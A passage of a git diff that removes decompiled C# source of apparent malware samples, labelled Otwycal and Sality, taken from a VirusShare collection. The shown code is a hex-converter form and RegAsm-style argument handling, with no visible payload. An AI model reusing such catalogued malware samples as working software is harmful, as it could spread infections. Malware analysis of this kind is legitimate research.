4]); - stringBuilder.Append(str[(int) b[index] & 15]); - } - return stringBuilder.ToString(); - } - - private string ToBin(byte[] b) - { - if (b == null) - return ""; - StringBuilder stringBuilder = new StringBuilder(); - for (int index1 = 0; index1 < b.Length; ++index1) - { - byte num = b[index1]; - for (int index2 = 0; index2 < 8; ++index2) - { - stringBuilder.Insert(0, (int) num & 1); - num >>= 1; - } - } - return stringBuilder.ToString(); - } - - private void button2_Click(object sender, EventArgs e) - { - int num = (int) new DialogBox().ShowDialog(); - } - } -} diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.resx b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.resx deleted file mode 100644 index 07876dd6..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Form1.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Program.cs b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Program.cs deleted file mode 100644 index f1b05aff..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HexConverter.Program -// Assembly: HexConverter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 69C743DF-5670-4BA1-B9C9-0F7A066F699A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2.exe - -using System; -using System.Windows.Forms; - -namespace HexConverter -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.cs b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.cs deleted file mode 100644 index e96fa521..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HexConverter.Properties.Resources -// Assembly: HexConverter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 69C743DF-5670-4BA1-B9C9-0F7A066F699A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace HexConverter.Properties -{ - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [DebuggerNonUserCode] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (HexConverter.Properties.Resources.resourceMan == null) - HexConverter.Properties.Resources.resourceMan = new ResourceManager("HexConverter.Properties.Resources", typeof (HexConverter.Properties.Resources).Assembly); - return HexConverter.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => HexConverter.Properties.Resources.resourceCulture; - set => HexConverter.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.resx b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Settings.cs b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Settings.cs deleted file mode 100644 index f1e7d72c..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HexConverter.Properties.Settings -// Assembly: HexConverter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 69C743DF-5670-4BA1-B9C9-0F7A066F699A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace HexConverter.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.csproj b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.csproj deleted file mode 100644 index 4ff7f614..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {CBF57740-2DFC-46DC-895E-D93C735D3BB8} - WinExe - HexConverter - 1.0.0.0 - HexConverter - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.sln b/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.sln deleted file mode 100644 index 40469256..00000000 --- a/MSIL/Virus/Win32/O/Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2/Virus.Win32.Otwycal.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HexConverter", "Virus.Win32.Otwycal.a-e8185cfeb5eed43452d4fc000bc9dad88c82a7d405e4cc7e61131d390a782aa2.csproj", "{CBF57740-2DFC-46DC-895E-D93C735D3BB8}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {CBF57740-2DFC-46DC-895E-D93C735D3BB8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {CBF57740-2DFC-46DC-895E-D93C735D3BB8}.Debug|Any CPU.Build.0 = Debug|Any CPU - {CBF57740-2DFC-46DC-895E-D93C735D3BB8}.Release|Any CPU.ActiveCfg = Release|Any CPU - {CBF57740-2DFC-46DC-895E-D93C735D3BB8}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Abbrevs.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Abbrevs.cs deleted file mode 100644 index b80c0280..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Abbrevs.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RegAsm.Abbrevs -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -using System; -using System.Globalization; - -namespace RegAsm -{ - internal class Abbrevs - { - private string[] m_aOptions; - private bool[] m_bRequiresValue; - private bool[] m_bCanHaveValue; - - public Abbrevs(string[] aOptions) - { - this.m_aOptions = new string[aOptions.Length]; - this.m_bRequiresValue = new bool[aOptions.Length]; - this.m_bCanHaveValue = new bool[aOptions.Length]; - for (int index = 0; index < aOptions.Length; ++index) - { - string str = aOptions[index].ToLower(CultureInfo.InvariantCulture); - if (str.StartsWith("*")) - { - this.m_bRequiresValue[index] = true; - this.m_bCanHaveValue[index] = true; - str = str.Substring(1); - } - else if (str.StartsWith("+")) - { - this.m_bRequiresValue[index] = false; - this.m_bCanHaveValue[index] = true; - str = str.Substring(1); - } - this.m_aOptions[index] = str; - } - } - - public string Lookup(string strOpt, out bool bRequiresValue, out bool bCanHaveValue) - { - string lower = strOpt.ToLower(CultureInfo.InvariantCulture); - bool flag = false; - int index1 = -1; - for (int index2 = 0; index2 < this.m_aOptions.Length; ++index2) - { - if (lower.Equals(this.m_aOptions[index2])) - { - bRequiresValue = this.m_bRequiresValue[index2]; - bCanHaveValue = this.m_bCanHaveValue[index2]; - return this.m_aOptions[index2]; - } - if (this.m_aOptions[index2].StartsWith(lower)) - { - flag = !flag ? true : throw new ApplicationException(Resource.FormatString("Err_AmbigousOption", (object) strOpt)); - index1 = index2; - } - } - if (!flag) - throw new ApplicationException(Resource.FormatString("Err_UnknownOption", (object) strOpt)); - bRequiresValue = this.m_bRequiresValue[index1]; - bCanHaveValue = this.m_bCanHaveValue[index1]; - return this.m_aOptions[index1]; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/AssemblyInfo.cs deleted file mode 100644 index ff0660cf..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: SatelliteContractVersion("1.0.5000.0")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyKeyFile("E:/Com99/bin/FinalPublicKey.snk")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.5000.0")] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/CommandLine.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/CommandLine.cs deleted file mode 100644 index 04514925..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/CommandLine.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RegAsm.CommandLine -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -using System; - -namespace RegAsm -{ - internal class CommandLine - { - private string[] m_aArgList; - private Option[] m_aOptList; - private int m_iArgCursor; - private int m_iOptCursor; - private Abbrevs m_sValidOptions; - - public CommandLine(string[] aArgs, string[] aValidOpts) - { - this.m_sValidOptions = new Abbrevs(aValidOpts); - string[] sourceArray1 = new string[aArgs.Length]; - Option[] sourceArray2 = new Option[aArgs.Length]; - int length1 = 0; - int length2 = 0; - for (int index = 0; index < aArgs.Length; ++index) - { - if (aArgs[index].StartsWith("/") || aArgs[index].StartsWith("-")) - { - string strValue = (string) null; - int num = aArgs[index].IndexOfAny(new char[2] - { - ':', - '=' - }); - bool bRequiresValue; - bool bCanHaveValue; - string str = this.m_sValidOptions.Lookup(num != -1 ? aArgs[index].Substring(1, num - 1) : aArgs[index].Substring(1), out bRequiresValue, out bCanHaveValue); - if (!bCanHaveValue && num != -1) - throw new ApplicationException(Resource.FormatString("Err_NoValueRequired", (object) str)); - if (bRequiresValue && num == -1) - throw new ApplicationException(Resource.FormatString("Err_ValueRequired", (object) str)); - if (bCanHaveValue && num != -1) - { - if (num == aArgs[index].Length - 1) - { - if (index + 1 == aArgs.Length) - throw new ApplicationException(Resource.FormatString("Err_ValueRequired", (object) str)); - strValue = !aArgs[index + 1].StartsWith("/") && !aArgs[index + 1].StartsWith("-") ? aArgs[index + 1] : throw new ApplicationException(Resource.FormatString("Err_ValueRequired", (object) str)); - ++index; - } - else - strValue = aArgs[index].Substring(num + 1); - } - sourceArray2[length2++] = new Option(str, strValue); - } - else - sourceArray1[length1++] = aArgs[index]; - } - this.m_aArgList = new string[length1]; - this.m_aOptList = new Option[length2]; - Array.Copy((Array) sourceArray1, (Array) this.m_aArgList, length1); - Array.Copy((Array) sourceArray2, (Array) this.m_aOptList, length2); - this.m_iArgCursor = 0; - this.m_iOptCursor = 0; - } - - public int NumArgs => this.m_aArgList.Length; - - public int NumOpts => this.m_aOptList.Length; - - public string GetNextArg() => this.m_iArgCursor >= this.m_aArgList.Length ? (string) null : this.m_aArgList[this.m_iArgCursor++]; - - public Option GetNextOption() => this.m_iOptCursor >= this.m_aOptList.Length ? (Option) null : this.m_aOptList[this.m_iOptCursor++]; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Option.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Option.cs deleted file mode 100644 index 4f7240fc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Option.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RegAsm.Option -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -namespace RegAsm -{ - internal class Option - { - private string m_strName; - private string m_strValue; - - public Option(string strName, string strValue) - { - this.m_strName = strName; - this.m_strValue = strValue; - } - - public string Name => this.m_strName; - - public string Value => this.m_strValue; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/REGKIND.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/REGKIND.cs deleted file mode 100644 index 077d8041..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/REGKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RegAsm.REGKIND -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -namespace RegAsm -{ - internal enum REGKIND - { - REGKIND_DEFAULT, - REGKIND_REGISTER, - REGKIND_NONE, - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.cs deleted file mode 100644 index 294fc394..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.cs +++ /dev/null @@ -1,251 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RegAsm.RegAsm -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -using RegCode; -using System; -using System.Globalization; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Policy; -using System.Text; - -namespace RegAsm -{ - public class RegAsm - { - private const string strDocStringPrefix = ""; - private const string strManagedTypeThreadingModel = "Both"; - private const string strClassesRootRegKey = "HKEY_CLASSES_ROOT"; - private const int SuccessReturnCode = 0; - private const int ErrorReturnCode = 100; - private const int MAX_PATH = 260; - internal static RegAsmOptions s_Options = (RegAsmOptions) null; - - public static int Main(string[] aArgs) - { - int ReturnCode = 0; - if (!RegAsm.RegAsm.ParseArguments(aArgs, ref RegAsm.RegAsm.s_Options, ref ReturnCode)) - return ReturnCode; - if (!RegAsm.RegAsm.s_Options.m_bSilentMode) - RegAsm.RegAsm.PrintLogo(); - return RegAsm.RegAsm.Run(); - } - - public static int Run() - { - int num = 0; - try - { - string fullPath = Path.GetFullPath(RegAsm.RegAsm.s_Options.m_strAssemblyName); - if (!File.Exists(fullPath)) - { - StringBuilder buffer = new StringBuilder(261); - if (RegAsm.RegAsm.SearchPath((string) null, RegAsm.RegAsm.s_Options.m_strAssemblyName, (string) null, buffer.Capacity + 1, buffer, (int[]) null) == 0) - throw new ApplicationException(Resource.FormatString("Err_InputFileNotFound", (object) RegAsm.RegAsm.s_Options.m_strAssemblyName)); - RegAsm.RegAsm.s_Options.m_strAssemblyName = buffer.ToString(); - } - else - RegAsm.RegAsm.s_Options.m_strAssemblyName = fullPath; - RegAsm.RegAsm.s_Options.m_strAssemblyName = new FileInfo(RegAsm.RegAsm.s_Options.m_strAssemblyName).FullName; - if (RegAsm.RegAsm.s_Options.m_strRegFileName != null) - RegAsm.RegAsm.s_Options.m_strRegFileName = new FileInfo(RegAsm.RegAsm.s_Options.m_strRegFileName).FullName; - string directoryName = Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strAssemblyName); - if (RegAsm.RegAsm.s_Options.m_strTypeLibName != null) - RegAsm.RegAsm.s_Options.m_strTypeLibName = !(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName) == "") ? new FileInfo(RegAsm.RegAsm.s_Options.m_strTypeLibName).FullName : Path.Combine(directoryName, RegAsm.RegAsm.s_Options.m_strTypeLibName); - if (RegAsm.RegAsm.s_Options.m_bTypeLibSpecified) - { - if (RegAsm.RegAsm.s_Options.m_strTypeLibName == null) - { - RegAsm.RegAsm.s_Options.m_strTypeLibName = !RegAsm.RegAsm.ContainsEmbeddedTlb(RegAsm.RegAsm.s_Options.m_strAssemblyName) ? (RegAsm.RegAsm.s_Options.m_strAssemblyName.Length < 4 || string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".dll", true, CultureInfo.InvariantCulture) != 0 && string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".exe", true, CultureInfo.InvariantCulture) != 0 ? RegAsm.RegAsm.s_Options.m_strAssemblyName + ".tlb" : RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(0, RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4) + ".tlb") : RegAsm.RegAsm.s_Options.m_strAssemblyName; - if (!Directory.Exists(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName))) - Directory.CreateDirectory(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName)); - } - else - { - if (!Directory.Exists(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName))) - Directory.CreateDirectory(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName)); - if (RegAsm.RegAsm.ContainsEmbeddedTlb(RegAsm.RegAsm.s_Options.m_strAssemblyName)) - throw new ApplicationException(Resource.FormatString("Err_TlbNameNotAllowedWithEmbedded")); - } - } - if (RegAsm.RegAsm.s_Options.m_bRegFileSpecified && RegAsm.RegAsm.s_Options.m_strRegFileName == null) - RegAsm.RegAsm.s_Options.m_strRegFileName = RegAsm.RegAsm.s_Options.m_strAssemblyName.Length < 4 || string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".dll", true, CultureInfo.InvariantCulture) != 0 && string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".exe", true, CultureInfo.InvariantCulture) != 0 ? RegAsm.RegAsm.s_Options.m_strAssemblyName + ".reg" : RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(0, RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4) + ".reg"; - if (RegAsm.RegAsm.s_Options.m_bRegFileSpecified && !Directory.Exists(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strRegFileName))) - Directory.CreateDirectory(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strRegFileName)); - string currentDirectory = Environment.CurrentDirectory; - AppDomain domain = AppDomain.CreateDomain(nameof (RegAsm), (Evidence) null, new 